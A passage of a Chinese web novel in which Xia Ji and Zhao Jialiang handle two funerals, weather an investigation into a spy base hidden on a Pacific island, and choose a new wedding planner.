因为赵嘉良要忙着公司的事情,临近过年被提前放假的夏季在花光这些年来积攒的年假之后总算迎来了一个正儿八经的假期。 他们项目组手上的那点子月壤顺利分完,还顺手吊出了老胡他们调查许久的蛰伏势力之后,夏季也算是深藏功与名了。王老已经跟院里打好了招呼,明年开年夏季就会重新回他的项目团队。至于未来的学术方向和侧重方向夏季还得花些时间研究,当然,这些都是后话了。 而这次夏季亲自来殡仪馆这边,是为着赵天生的身后事。 身为一个慷慨大方的嫂子,夏季从来不会在白事上苛待任何人,甚至他早前就跟赵嘉良说过,若是有天喻馨也没了,他肯定会尽到为人子的最后一点义务~ 至于赵天生 作为被毒死的倒霉蛋,他的遗体保存的相对完好。除了后面又被老胡他们拉去解剖做了毒检等一系列检查之外,至少他安安静静的躺在那里的时候,是看不出有什么异样的。 在冷库门口,夏季是不可避免的跟早就在此候着他的夏荣撞了个正着。 被层层安保人员环绕着的夏季让夏荣有那么一瞬环视了很多年前他和夏季初次见面时的场景。 只是那时穿着洗的发白的T恤牛仔裤的人是夏季,而被众星捧月,气派无比的人,是自己 而此时夏荣只觉得切身体会到了所谓三十年河东三十年河西的意味。他曾经深以为能庇护自己一辈子的母亲说进去就进去了,他天真的依赖着的,能护佑自己一辈子荣华富贵的大哥,也说没就没了。 而当夏荣做好心理建设准备上前时,却发现此时的自己跟夏季已经是云泥之别。他甚至就连靠近,都不被允许。隔着黑压压的人群,夏季貌似都没看到他一般的,径自走开了。而夏荣甚至连张口喊他,请他驻足的勇气都没有只能眼睁睁的看着身份颠倒的那人消失在门口。 第87章 夏季这次过来是来给赵天生办手续的。 在过来之前, 他还先去见了赵锋锐和赵炳锐。毕竟夏季这时候跟赵嘉良还只是备婚,并没有领证。赵嘉良工作忙抽不开身,夏季就算贴心的帮他料理弟弟的身后事, 但于情于理终归还是要跟赵家长辈知会一声比较好。 不过赵锋锐这时候已经在精神病院里瘦到脱了相, 疯疯癫癫的连人都认不清了。至于赵炳锐他干的那些事情虽然罪不至死,但有些情况下,人活着却是比死了还要痛苦的事情。 因为赵锋锐无法沟通, 夏季过去也就是走过场似的让人把他摁住跟他说了赵天生的事情。 原以为这位跟白月光伉俪情深到,不惜要跟一手扶持自己的原配反目成仇也要跟白月光生儿育女的老赵总,夏季本以为他对自己的爱情结晶理应感情深厚。但也不知道是不是赵锋锐的精神问题实在太严重,夏季公式化的告知了他赵天生的死讯他却毫无反应。 “他现在一直这个样子是好不了了吗?”夏季随口问道。 一旁在赵嘉良叮嘱下, 负责了赵锋锐病情好几年的老医生笑眯眯的搓了搓手,略显紧张的说, “赵总说了,老赵总好不了” 夏季一挑眉, 没再说什么, 直接走了。 赵炳锐那边因为案情的缘故并不方便见人, 夏季还是找了点儿关系才好不容易跟他会面了一趟。 而对方对于赵天生的死表现的也是非常平淡,毕竟如今真相大白,赵炳锐自然明白他活不下来。 “夏季, 你能不能帮忙跟他们说说,我想见见家人。”这段时间的高强度审讯, 赵炳田看着老了十岁不止。而人在这种时候, 难免思念亲人。 但夏季很清楚,赵炳田能见的亲人不多。 “阿良工作忙,怕是没时间见你。过来之前我去见过赵锋锐了,他疯的很, 你见不了。” 但赵炳锐却说他想见的并不是大哥或者大侄子,而是他那个离婚多年,带着女儿远走他乡的前妻。 “我就一个孩子,我想见见她。” 夏季笑了笑,“你搁我这儿许愿呢?” 不过想了想,夏季又说,“你见她们的难度可比见赵天生大多了,毕竟活人长了腿会自己跑,死人不会。” “我记得您早年待赵天生如同亲儿子,想来跟他也是感情亲厚的。虽然我无法保证您女儿能来见你,但您这亲儿子我还是能想办法让您见上一面的,您看” 夏季这话说的有点儿过于杀人诛心了,赵炳锐面露痛苦的捂住胸口,像是一副快要被他气出毛病的模样。 见他也不愿意见赵天生最后一面,夏季惋惜的离开了。 看来,赵天生的身后事只有他这个不怎么熟的外人来打理了。 这人的身后事其实跟他活着的时候总有些异曲同工之妙,就像夏季给赵天生团购的是殡仪馆最昂贵的套餐,因此赵天生那破破烂烂的最后一段人生时光终于在他去世之后彻底终结。 “夏先生,您看一下这个遗容可还满意?”带着口罩的年轻女孩儿有些局促的说。 可能长期跟逝者打交道的入殓师在面对夏季这种会喘气的好看活人总是有些紧张的。 “很好,麻烦您了。”因为尸检的原因,夏季还是花了不少钱把赵天生打理了一番的。不过对于打理的结果,他并没有太多心情仔细检查,只是签完字,办完所有流程之后就要跟殡仪馆商量追悼会的事宜。 夏季虽然没有办过葬礼,甚至参加葬礼的经验都不多,但现代殡仪馆的丧葬服务很人性化。他在工作人员的帮助下挑挑拣拣的选了个还算昂贵的殡葬方案,但因为赵天生的众叛亲离,夏季就是想体面的给他办个葬礼却也不知道这葬礼的邀请函要发给谁。 “一切从简吧,追悼会不办。”夏季让师傅挑选了一个火化的黄道吉日,然后发消息通知了赵嘉良之后便要离开了。 从殡仪馆出来的时候,一直亦步亦趋跟在人群后面的夏荣就那么眼巴巴的跟了一路。负责陪同夏季外出办事的助理有些警觉的提醒,“夏先生,您看夏荣他” 夏季头也不回道,“走吧,不用管他。” 因着给夏燃操办后事而口碑稍微有所好转的夏荣虽然没多少钱了,却也不得不硬着头皮风风光光的大办了一场。 夏燃出殡的那天,夏季跟赵嘉良已经极为低调的把赵天生火化下葬了。而同为兄弟,夏燃的葬礼则比赵天生隆重的多。 “嫂嫂节哀。”这寒冬腊月的,夏季身着一身庄重肃穆的黑色正装,将手中的鲜花递给高嘉丽。 而哭的几乎快要昏厥,需要旁人搀扶才能勉强站稳的女人即使画着浓妆,却依然掩盖不住她毫无血色的面容。那猩红的唇色搭配上她苍白的面色神似恐怖片里的女鬼。尤其是她阴恻恻的抬眸望着夏季时的神情,那骤然咧嘴笑的模样看着渗人。 “嫂子”在一旁搀扶着高嘉丽的夏荣有些担忧的轻声喊了她一声,担心她情绪失控影响后续的葬礼进程。 夏季同高嘉丽眼神交汇,冲她微微一笑,算是礼貌回应了。 浅黄色的小雏菊在寒风中微微摇摆,夏季将花束塞到女人怀中,却对对方怨恨的目光视若无睹。 赵嘉良也只是说了些客套话,就跟夏季一起去到客区连多的眼神都不愿留给这位早年丧夫的女人。 夏荣恨得牙痒痒却也无可奈何,“空着手来,连个红包都不给,他俩是抠的要死啊!” 可事实上,来参加婚礼的人其实都在到场之前通过转账形式给过白事礼金了。只是赵嘉良和夏季给的金额就跟那些并不怎么亲近的普通亲友一样,金额不大不小,属于挑不出错处,又远低于预期的那种。 高嘉丽苦笑着闭了闭眼,“既然有钱拿你就好好收着吧,这恐怕是你最后一次从夏季手上拿到钱了。” 夏燃走的很突然,葬礼上他的同学朋友有好几个都哭得挺惨的,跟高嘉丽都不遑多让了。 见状,赵嘉良忽然贱兮兮的说,“宝贝,要是我之前车祸真挂了,你说我葬礼上林沐阳那帮子人会不会也哭成这样啊?” 不过他话音未落就收到了一记眼刀。只见夏季冷笑着低声说,“你那帮酒肉朋友哭不哭我不知道,不过你要真凉了你的朋友们敢不哭” 看着他有那么一瞬比高嘉丽还可怕的表情,赵嘉良只想给自己两嘴巴子。瞧他这嘴,真是太不会说话了! 葬礼这种沉闷的环境总是会令人心情格外压抑。 只是隐没在人群中的赵嘉良即使在聆听悼词的时候还是忍不住用小拇指去勾夏季的手。墓园的室外葬礼实在冻人,身着正装的夏季本来都被冻得手脚冰凉了。但被身旁这个烦人的家伙勾搭了一下,他恼火的一番抗拒下来,手心倒是热乎了不少。 待葬礼结束,夏荣这才好不容易找准时机勉强拦下了他们。 “夏季,我们谈谈。” 赵嘉良冷笑了一声,却连跟他多说一句话的欲望都没有。从夏荣的角度,夏季的身形完全被高大的男人遮挡的严严实实,他甚至连对方的表情都看不到。 看着两人在的保镖越走越远,夏荣只觉得自己人生的最后一点希望仿佛也随之远去了。大概是对不确定的未来的恐惧,驱使着夏荣还是硬着头皮追了上去,只是这次他依旧没能成功。那个让他又烦又怕的阿久不知从哪里冒了出来,在一众身高一米九以上的彪形大汉之中,只有横截面跟那帮保镖差不多的他略显突兀。 “哟,小夏影帝不招呼宾客这是要往哪儿去啊?”穿着正装也像个痞子的阿久嬉皮笑脸的拦住了他的去路。 夏荣恼怒的瞪了他一眼,想要绕过去追人,但还是被拽住了。 “别追啦,夏先生之前愿意见你,请你吃饭,给你帮忙那是受人所托。”阿久有些好笑的说,“不是夏荣,你之前虽然看着就不机灵但好歹也不是个煞笔吧。就二少跟你那被狗啃过一样的关系,你凭啥会觉得他前段时间跟你和平相处是因为他放下了啊?” 说着阿久还忍不住小声嘀咕了两句,“就夏季那性子,得罪他的人没脱层皮那肯定是因为他太忙……” 因为忙着追求更崇高的理想,夏季忍耐了不好的名声。因为想在科学的星辰大海中走的更远,夏季放下了个人恩怨。 但科学院终究不是个周扒皮的资本家,再忙碌的研究院也有放假的时候。 往年夏季即使过年也就只有三五天的假,让赵嘉良怨声载道。但托月壤贫瘠,长不出作物的福,夏季今年放长假了 被阿久这么一说,夏荣忍不住畏惧的抖了抖。 而等他彻底回过神来后,夏季一行人早就没影了。 瑟瑟寒风中,夏荣只觉得自己从□□到灵魂都要被冻住了一般。而让他更害怕的是,在夏燃的葬礼结束的当天晚上。 是的,就是晚上。在这个非工作日的非工作时间,高家就这么猝不及防的被有关部门调查了。而与此同时,一起被调查的还有正在跟夏氏做产业重组的赵氏。 夏季大半夜的披着外套跟赵嘉良一起去公司的时候一张脸黑的快要滴水一般。赵嘉良有些莫名的心虚,但仔细想想又觉得自己好像并没有做错什么。 “你觉得这大半夜的调查是为着什么事?”夏季虽然不懂公司的事情,但他知道这种时间点发生这种事情不会是小事。 虽然刚接到消息的时候赵嘉良也是懵的,但真沉下心来,他倒不是真的一无所知。 男人有些尴尬的摸了摸鼻子,“宝贝,咱们的婚礼可能要推迟一个月了” 第88章 赵嘉良和夏季原本打算在春节前最后一个工作日去领证的, 说是网上预约都已经约好了。 而婚礼定在明年的夏季,毕竟要办海岛婚礼,还是比较吃当地气候的。只不过托那位Mr.威廉小姐的福, 按赵嘉良原定计划的婚礼筹备工作要比之前预期开始的晚上了许多。他计划的海岛婚礼到现在还没找到合适的婚庆团队, 婚礼事宜压根儿没有开始准备。 而当他们抵达公司,跟相关部门工作人员配合调查的时候就愈发切身感觉到,人生的巧合有时候就是如此奇妙。 作为陪同人员, 夏季其实并没有被允许参加进问询工作。但赵嘉良在路上的时候跟他坦白了,他怀疑可能是夏氏的转过来的那个美丽的无名小岛的问题。 赵嘉良本想自己先查清楚再说,但没想到的是专业部门的专业效率还是更高,所以今天才被要求配合调查。 “把你知道讲清楚就行。”夏季倒是并不太担心。 一来是他对枕边人的人品素质有信心, 二来是他对自己有信心。毕竟他在赵家积威已久,夏季相信赵嘉良不敢顶着被打断腿的威胁而乱来。 赵嘉良闷闷的“嗯”了一声, 然后就去交代情况了。 而事情其实跟赵嘉良之前猜测的差不多,那个夏氏莫名其妙斥巨资养了很多年的婚礼小岛确实是有问题的。这个面积只有8英亩出头的太平洋小岛虽然位于公海, 但其实距离大陆的直线距离并不算特别远。明面上它是高家独女的嫁妆, 但实际上, 自婚礼结束之后,这个小岛就成了一个据点。 在夏燃几乎是被仓促灭口之后,那个困扰了大家好些年的反动势力终于被抓住了有形的尾巴。只是让夏季想不到的是, 这条尾巴的大本营并不在什么遥不可及的天边,反而如今是在赵嘉良手中的。 夏季在休息区一直坐到快后半夜了赵嘉良才结束了问询, 被老胡亲自送了出来。 看着两人的面色都不太好, 夏季并没有主动询问细节,但赵嘉良对他必定是知无不言的。 他言简意赅道,“夏燃给咱们埋了坑,就在那个岛上。” 这个境外势力的地下接头点, 一般人肯定是想不到的,甚至如今岛屿名义上的主人赵嘉良也没想到。 再三确认赵嘉良获得岛屿所有权后从未亲自登岛,也暂时没有对岛屿上的设施进行任何改动行为后,他很快就被排除了嫌疑。 因为这方面很好查,老胡只是简单的需要跟赵嘉良确认一下就可以。但不得不说的是,但凡赵嘉良在海岛上动过土,那后面难保没有坑等着他。 “真说起来赵总你还得感谢一下那位威廉小姐,要不是他闹腾着说你性骚扰,那你们的海岛婚礼一旦由境外的工作室开始筹备动土,那这些情况说明就要费点儿时间了。” 虽说清者自清,但事关重大,很多事情都是要根据流程层层反复调查的。即便问心无愧,但这其中难保不会又整出什么幺蛾子来恶心人。尤其是在刚刚的问询中,一些原本早已被赵嘉良淡忘的细节被重新忆起,关于他为什么会决定沿用夏燃的婚礼策略,这都是身旁有人出谋划策,有迹可循的。 后续的调查空间还很大,但跟夏季赵嘉良的关系却不大了。 “岛我们先接管了,你俩婚礼的事情”老胡的眼神在两人之间来回睇溜,低声说,“要不你们换个地方?” 夏燃当年的那场婚礼非常浪漫唯美,本就在当时还年轻的赵嘉良心中留下了深刻印象和不小的震撼。所以后面夏季应下结婚的事情之后他起初虽然想的是要别出心裁,但那段时间他就像是被大数据精准推流了似的,动不动就会听到看到一些“海岛婚礼”的相关内容。于是当夏季同意结婚,他们理所当然提起婚礼事宜的时候,那个曾经给赵嘉良留下过深刻印象的夏氏负资产就这么让他动了心思。 在夏季也无法防备的情况下,他们就这么定下了婚礼的场地,并且开始付诸行动。 “那个Mr威廉小姐还在国内吗?他回国之前请他吃个饭吧。”一直到天都快亮了,两人从公司出来的时候夏季才忽然开口说道。 别看那个威廉小姐在赵嘉良的心目中都快跟变态划上等号了,可当此时此刻夏季这么说的时候赵嘉良也是完全没了脾气。甚至只感觉有点荒诞的不可置信,“不清楚,我让人去问问吧。” 其实那桩乌龙事件后赵嘉良其实是让阿久去调查过这位Mr威廉小姐的。 按照阿久的调查结果,这位威廉小姐不出所料的确实是故意找茬,但他背后的人不过是个国外竞争对手。属于赵嘉良刚上台时就互相看不顺眼找麻烦的,明面上的对头关系。而老胡这边显然也已经把这位忽然冒出来的跨性别者纳入了调查结果,而结果证明,就赵嘉良身边这一圈有可能影响他判断的可疑人员中,就属这位Mr威廉小姐在全员恶人的有心之人衬托下,就显得格外“纯良”了。他就单纯是被朋友怂恿过来给赵嘉良找恶心的。 只是在政治正确的国外,自诩高人一等的性别优势在国内就不好使了。在赵嘉良方面坚决不同意和解的前提下,他恐怕还得蹲几天才能出来。 但让赵嘉良请这位吃饭,他还是做不出来的。但不管怎么说人家也算是歪打正着的帮他免去了一份麻烦,虽然并非出自本意。于是赵嘉良跟夏季坦白之后,夏季沉默了片刻,“原来你还有我不知道的死对头呢?” 赵嘉良讪笑了两下,“商场如战场,抢生意的事情,怎么能算死对头呢?” 不过最后赵嘉良还是让徐秘书帮Mr威廉出具了一份谅解书,然后那人出来第二天就直接买机票连夜跑路了,至于后面的事情就与他们无关了。 忙忙碌碌大半年,蓦然回首,赵嘉良发现那些曾经跟他们有过恩怨牵扯的,如今死的死关的关,一番盘算下来,下场最好的竟然是身败名裂,被软封杀且几乎没有再度翻身可能的夏荣。 这个结果,真的有点地狱笑话了。 对此,夏季却只是不置可否的一笑。毕竟对他来说,夏荣从来就只是个跳梁小丑。像夏荣这种本身几乎没有什么硬实力,从小在谎言和欺骗中长大的天生骗子,最畏惧的,就是本来面目被暴露在阳光之下。如今的局面,哪怕夏季什么都不做,夏荣就已经生不如死了。 让曾经压在一线科研人员心头的一座大山如今终于也是有要拨云见日了,王老听说这事儿之后非常开心,邀请了夏季跟赵嘉良去家里吃饭。 作为夏季唯一认可的长辈,夏季对王老的态度可比当年对喻馨那帮人要郑重恭敬的多。虽然没有血缘关系,连姓氏也不相同。但因着王静女士的特殊关系,夏季跟王今安已经是身边人普遍认可的异父异母的亲姐弟了。而王老夫妻虽然跟夏季相处的年岁不多,但夏季给人家当了这么多年的关门小弟子,恐怕下一刻夏季说想改姓王了,赵嘉良都不会感到意外。 但也正是因着这层关系,赵嘉良每次去王家做客的时候都会大包小包的,礼数周全。 马上过年了,这顿饭作为年前的最后一场聚餐,邹柔柔竟然也厚着脸皮参加了。因为跟姐姐的这位好闺蜜不太对付,夏夜也曾阴暗的揣测这两位姐是不是私下里有一腿。不过在他仔细观察后还是打消了这一猜测。虽然两位姐都是大龄单身女青年,但她们都是典型的直女。只是赵嘉良对于这种自家的聚餐还要带个外人的事情颇有微词,不过他们到的时候邹柔柔已经跟王老在聊了。 夏季跟赵嘉良放下手里的东西,在王姐的招呼落座后注意到邹柔柔也是来跟大家汇报情况的。 “朱敏的义务劳动已经告一段落了,即使是在国外,能接触到赵天生所服用的致幻药物的人群也非常少。具体的情况虽然不清楚,但只要摆脱掉我在明敌在暗的处境,我们就不会太被动。” 至少林教授和赵嘉良类似的悲剧便不会再发生了。 “天大地大吃饭最大!”从今天一大早开始就忙活着备菜的王夫人擦着手从厨房里出来,“汤炖好了,来,快去餐厅,有什么大事儿啊,边吃边说。” 赵嘉良赶紧起身去帮忙。反观夏季,从善如流的跟着王老和姐姐们的脚步,非常自觉地就去了餐厅。见状,王今安有些疑惑的低声问,“赵狗平时在家也这样吗?” “嗯?”夏季仿佛有些没听懂似的,“哪样?” 王今安白了他一眼,“家务啊。我知道夏园佣人多,但你也总会有些不便假于人手的事情要人帮忙吧?赵狗平时私底下对你也这么识趣?” “嗯”夏季想了想,郑重的点了点头,“阿良挺好的。” 一直在王家长辈面前十年如一日,孜孜不倦刷好感的赵嘉良其实在王老夫妇俩眼中已经是非常难能可贵的,值得托付的好男人了。饶是他们年纪大了,思想没那么开放,起初对夏季找了个牛高马大的男人谈对象十分不满。可这些年在赵嘉良的糖衣炮弹轰击下,他们也早倒戈了。 “今安少挑拨离间好不好,人家赵总有钱有颜,对夏季大方到其心日月可鉴。”王老轻轻的敲了敲外孙女的额头,一脸恨铁不成钢,“瞧瞧人家夏季找男人的眼光,再瞧瞧你。” “咳咳~”夏季顿时爆发出一阵动静不小的咳嗽,打断了王老的唠叨。 纵使是王老这种豁达的智慧人物,年纪大了也免不了跟催婚之事扯上关系。夏季怕就怕他念叨的厉害了,王姐一怒之下会把自己跟赵嘉良之间的那些丢人事儿都给扒干净。好在一旁还有邹柔柔这个同样母胎solo的大龄剩女分散火力,更会说话的心理医生赶忙接过话头,表示王今安忙于学习没空恋爱,倒是医学院里有学长学弟追求她,也想问问王老他们接不接受同样学医,未来当医生的孙女婿。 王老张了张嘴,欲言又止,最后还是不得不接受夏季这就是瞎猫撞上死耗子的爱情。毕竟就恋爱脑这种东西,对于普通的工薪阶层来说就是个灾难。只有那些真正富了几代的老钱世家才能养育出赵嘉良以及他亲妈那种极度富裕的成长环境,才能养成如此纯种的恋爱脑。因此,王老也不禁感叹,“还好夏季你不是在夏家长大的,你要跟你大哥夏燃一样,在亲爹,亲爷爷奶奶膝下长大,我真很难想象如今的你会被养成什么样子。” 别看夏季看着好像跟恋爱脑一点不沾边,但其实王今安他们心里都跟明镜似的。夏季这人理智归理智,但在护短这方面跟赵嘉良相比也绝对是有过之而无不及的。至少就他答应帮老胡去做的那两次试探,就已经触及夏季为人处世的底层代码了。 但说起那位大哥,夏季也只有谈起的份儿了。 “大好的日子就不提那些烦心的人和事了。”只要老胡他们不是草包,在掌握了这么多切实证据之后他们这帮研究院及其家属的安全保障必将大幅提高。 而赵嘉良那边在帮着师母又是端汤又是端菜之后,大家美美的吃了一顿,席间向来不怎么沾酒的夏季也因着高兴,跟王老喝了两杯。若不是老人家年纪大了精力不济,夏季甚至愿意私心在老师家里再蹭顿晚饭。 因着吃饭的时候王老也催促了夏季跟赵嘉良的婚事,说他们谈了这么多年了,最近又一起经历了这么多,算是经过大风大浪的考验可以携手人生了,问他们打算什么时候办婚礼。赵嘉良没好意思说之前自己找婚庆差点儿被冤枉的事情,只说已经在相看婚庆团队,下午就要去谈细节。 正好两位姐下午约好去逛街,便跟他们一起告辞下楼。 赵嘉良提议找人送她们一程也被婉拒了,于是两个弟弟在前面走着,两个姐姐却在后面慢悠悠的晃。 大概是被外公外婆催婚心里有些不爽,王今安只觉得自己越看赵嘉良越不爽。要知道她可比夏季更早认识赵嘉良,而那时候她外公还在跟自己千叮咛万嘱咐的,要对这种大资本家打起十二分的警惕心,决不能深交!结果这才几年过去,这个需要自己保持警惕的资本家都能堂而皇之的登堂入室不说,还成了长辈用来说教自己的对象。 看出她怨气的邹柔柔眼睛咕噜噜一转,“诶,要不咱们试探试探?外人都说赵总多么多么恋爱脑,在所有方面都无条件听老婆的话。但男人嘛,要面子是底层代码” 王今安见她一脸坏水的模样,顿时来了兴致,“怎么试?” 别看家属院这是老小区,但一行四人从小区大门出来之后,正好能看到马路对面某前国营企业的家属区外围墙的一排店铺。其中靠近路口的一家灯光酷炫的24小时无人自助X用品商店在一众普通店铺中十分打眼。 而因为老旧小区门口停车不便,他们的车子都在路口等候,也就是说几人必须路过这家红灯闪烁的成人用品店。 于是路过的时候邹柔柔故意在两个弟弟身后发出一声既不突兀,又能让前面两人听到的动静。 “哇,现在的成人用品都发展成这样了吗?这个狗链做的这么大真有人能套进去吗?” 个儿高腿长的两位男士下意识地转头看了一眼,然后拥有整整一屋相关物品的赵嘉良眉头微蹙,几乎是没过脑子地反驳道,“这还大?这么小的尺码我都套不上。” “哦”女人的尾音拉长,同好闺蜜一个眼神交汇,然后两人迅速告辞。 夏季好笑地瞪了一眼自家傻子,径自快步上了车。仿佛后知后觉的赵嘉良有点懊恼地上了车,欲言又止。 “得了,你别摆出这幅表情了。反正你给我当狗的事情也已经是熟人中公开的秘密了。男人敢做就敢当,赶紧上车,不是答应了老师下午就要去看婚庆然后给他汇报进度吗?”夏季似笑非笑的睨了他一眼,高高在上的姿态和微微扬起的优美下颌线,落在某人眼里只让人觉得一阵口干舌燥 第89章 虽然现下心情气氛都挺好, 但场合不对夏季也不可能惯着他。 本来夏季还想着毕竟人家Mr威廉小姐也是歪打正着帮了赵嘉良一个小小的忙,就算请他吃饭太抬举了,但好歹应该表示表示。但架不住对方胆子和各自呈反比, 在意识到欧美发达国家的那套跨性别ZZZQ高人一等在华国并不好使, 又或者是他这种高颜值的“欧式大美女”在国内的看守所蹲过几天号子吓着了。赵嘉良让徐律师亲自送去了谅解书之后他就火烧屁股似的连夜跑路了,这时候早就没了影儿。 而婚礼的事宜自然要更改婚庆团队,甚至连海岛婚礼的想法也给毙了。 这次夏季他们去看的是一家京市小有名气的本土婚庆品牌。 他们的工作室非常接地气的位于一桩民商两用的老式小高层内, 因为这片儿物业有些年头,赵嘉良的全副武装的悍马车队开不进来。被迫下车步行的夏季倒是不拘小节,只是对赵嘉良的某些选择产生了一些质疑。这种质疑也很快从事关身价未来的抉择延续到了一些生活中的小事当中。 当夏季这个平日在家里十指不沾阳春水的家伙开始质疑自己挑选婚庆的眼光时,赵嘉良也是敢怒不敢言。 而夏季会质疑赵嘉良的眼光也不是没有原因的, 主要是他们在一起这么多年,夏季早被这位大资本家从家境贫寒的农村学子娇养成了货真价实的“金丝雀”。就王老私底下都会忍不住跟自己的几位大弟子吐槽, 说自己真担心自己晚节不保。主要是夏季这个生活标准的弟子,实在让王老这位自认为两袖清风, 一生纯粹的科研人员清廉不起来~ 毕竟自从夏季进了门之后, 他们实验室的伙食都比隔壁几个实验室的莫名其妙好了那么一点儿~ 所以当夏季走在这七绕八绕的小路老街上, 也不禁开始沉思是不是因为自己太过度“中央集权”,把赵嘉良弄成拿固定薪资的打工牛马之后他的消费水平下降了。尤其是后面他们抵达这家小有名气的婚庆工作室的时候,看着精致却略显寒酸的门口logo, 夏季心头微动。 “这是之前跟你一起上综艺的那个小明星推荐的婚庆工作室,我看评论还不错, 所以寻思着带你来看看。” 夏季聪明的脑子转了半分钟才把对方口中的“小明星”跟眼前的工作室联系起来。夏季这辈子就上过一次综艺, 还是带着工作和义务抱着完成任务的心态去的。圈里的那些人除了早前一起跑路的麻十一和积怨已久的夏荣之外,他原本是一个都不认识的。不过现在夏季把蒋靖川给重新策反回“正道”了,那为一个“小明星”应该就是节目中唯一的女性严菱了。 于是夏季理所当然的问,“是严菱推荐的?你跟她还有联系?” 主要是夏季本人除了玩赵嘉良之外没有任何的私人娱乐项目, 他的生活除了泡在研究院里研究星辰大海之外,就是在夏园里尽享奢华人生。不使用任何短视频APP,不看剧不追星甚至不听歌。夏季认为这是一种保持理想纯粹的方式,因为人的欲望总是难免会受到环境的影响而变化。夏季认为,抵制不良诱惑也是优秀的科研人员应有的品质之一。 毕竟以他多年的从业经历来看,一位顶级的行业大佬,忠诚和能力是同样重要的。 但赵嘉良就不同了,这人在认识夏季之前是个泡在不良诱惑中长大的家伙。跟夏季确定关系之后情况也只是略有好转,只是他的恋爱脑癌晚期是让老胡以及他手下的一帮国安精英都曾专门开了个部门会议骂骂咧咧了半个钟的存在。只是赵嘉良在跟狐朋狗友们一起玩的时候并非男女通吃,所以得知赵嘉良跟那位同自己一起上过节目的女明星有联系后,夏季就算对这段感情再怎么自信,也难免要问上一嘴。 可谁知赵嘉良这家伙不按常理出牌,他话音刚落,对方就恶人先告状,一脸气呼呼的转过头盯着夏季,“严菱?连名字都记得啊,这见了不止一面吧?” 夏季:??? 讲道理夏季跟那女明星确实就见过一次。 只是第一次上内娱综艺之后,谁能忍住下了节目不搜搜节目反响呢?严菱虽然在节目中就是个花瓶工具人,外围气氛组。但作为唯一一名女艺人,只要在网络上一搜“一起去郊游吧”节目,就一定能看到严菱的名字。 再加上夏季这个当年的高考状元总得有那么点儿天赋异禀在身上,夏季的特点就是记忆力超好。对于一个段时间内见过好几次的名字,他努力回忆一下还是能记起来的。 “我又不是鱼,这满打满算也还不到两个月吧,我能记得一起共事过的女星名字很奇怪吗?” 赵嘉良的脸色沉了沉,低声问,“你月壤种种植培育项目组的实验室女教授叫什么名字?” “额”夏季的转组后的新项目组里农科大佬很多,其中唯一一位女教授还热情的关心过夏季的个人问题,团队解散的时候夏季也还关心过人家的离京之前的健康问题。但此时夏季被问到人家女教授的名字 “这我哪记得啊~我们那实验室里就我最年轻,资历最低,我还能直呼人家名字不成?”夏季板着脸解释,并且觉得自己说的十分合理。 但赵嘉良只是撇撇嘴,阴阳怪气,“是啊,你又不是鱼。这满打满算还不到半个月吧,你都记不住一起共事过的女同事名字,真是奇怪啊~” 夏季拳头硬了。 他本来想用另外一种方式好好跟赵嘉良“讲讲”道理,不过眼见预约时间都过了,客人还没过来的婚庆工作室人员从前台正好能看到大门口疑似在闹矛盾的两人,还是适时的出门来询问情况。 毕竟是开门做婚庆生意的,两位准新人在自家大门口吵架总是有碍瞻仰的。 虽然夏季明确表示他们并没有吵架,但看着敢怒不敢言的某位霸总打扮的男人,SA即刻非常识时务的表示自己相信了夏先生的所有话。 之后就是原计划的婚庆细节了解。 说实话赵嘉良这次找的这家婚庆工作室虽然跟之前那个欧洲皇室御用婚庆团队的逼格,一个天上一个地下。但这次他更多的是从实用性方面考虑,而非排场面子方向考量,所以这家他通过偷窥所有跟夏季有交集的人(哪怕只是仅仅公事一天)的公开信息,选定了这家被内娱不少明星点过赞的工作室。而这次他也算是幸运的瞎猫碰上了死耗子,夏季这种本身极简风格注意者也确实更吃这种低调的奢华风。 所以在经过半个多小时的需求了解之后,工作室的销售团队在当天就给出了一个符合夏季个人喜好,但赵嘉良觉得略显朴素的方案。 “感谢你们的服务,我们需要回去商量一下。会尽快给你们回复的。”临了的时候夏季还难得客气的真心实意的向工作人员道了谢。 都是第一次结婚毫无经验,他们的服务做的足够到位,能给客户有建设意义的意见,就已经非常可贵了。 因此夏季这时候心里基本上已经定在这家了,只是后续还有些细节问题他需要跟赵嘉良沟通。 负责接待的SA小姐姐笑的跟朵花儿似的灿烂。 “这是我们应该做的。”说着她掏出了私人手机,“夏先生方不方便加个联系方式?有什么问题我们可以直接沟通。” 夏季笑着应下,两人交换联系方式后夏季便领着赵嘉良离开。看着两人的身影渐行渐远,SA小姐姐爆发出了一阵尖锐的爆鸣。 “我的天!之前赵总来了解情况的时候我还在到底是什么样的绝世美人能配得上这种京圈顶级高富帅啊!今天一件夏二少,我特么竟然觉得京圈霸总有点儿配不上这位纯金打造的金丝雀大人了!” 目睹了全程的前台小姐白了她一眼,“你之前没看过夏荣的遗作:一起去郊游吗?夏二少作为唯一的素人嘉宾还不够艳压群芳吗?” “我那不是以为这是资本为了捧自家金丝雀给他开了柔光磨皮嘛~”SA嘀嘀咕咕,“谁让他站在几个明星中间都好看的跟旁人有壁,你摸着良心说,他长得跟咱们这些普通人类像是一个次元的吗?” 两个姑娘先是感慨了一番同为次元生物,外表为什么会有如此的参差。随后SA小姐姐又一拍大腿,觉得婚礼方案还有更精进的余地。顶美还多金的帅哥,哪怕是当甲方,也值了啊! 只是相较于婚庆工作人员的满心鼓舞,刚刚进门之前就心情不怎么好的赵嘉良耷拉着脑袋,不知道在想什么。 但作为一对彼此都长了嘴,还都挺能说的小情侣,赵嘉良和夏季之间的矛盾是从来过不了夜的。 两人本着有问题当场解决的处事原则,出门之后就把话说开了。 赵嘉良先是表达了自己的忧心,正当他准备滔滔不绝的多说几句的时候,夏季打断了他。 “跟异性无关,仅仅只是觉得没有必要去记,也不想去记一个未来完全不会有交集的人的姓名而已。”夏季如是说。 “之前老胡让我帮忙在办公室里演一下。”但老实说夏季完全没有继承喻馨的演员天赋,老胡只好让他本色演出。但好在夏季的观众也都不咋专业,就是个传声筒。“包括那位女教授在内的好几个前同事都被退回原籍了,以后国家级的顶级项目他们再也不会进来。” “以后不会有再见机会的人不需要记忆。” 而严菱哪怕只是个二流明星,论身份地位远不及那些国家级的学术大佬。但人家既不偷抢,又不漏税,这见面三分情的,即便未来交集不多夏季也愿意浅浅的记一下以示尊重。 赵嘉良心头一凛,在正事面前不拘小节这个道理他是懂得的。 “阿良,永远不要做错事。” 第90章 赵嘉良觉得自己这小半辈子过的英明神武, 跌宕起伏。自己这么精彩的人生都够写部自传拍部电影了,哪里有什么犯错的空间? 他心里这么想的,嘴上也是这么说的。 夏季眼瞅着他变得洋洋得意又桀骜不驯的样子也是忍不住笑了笑, “嗯, 表现不错,未来继续保持。” 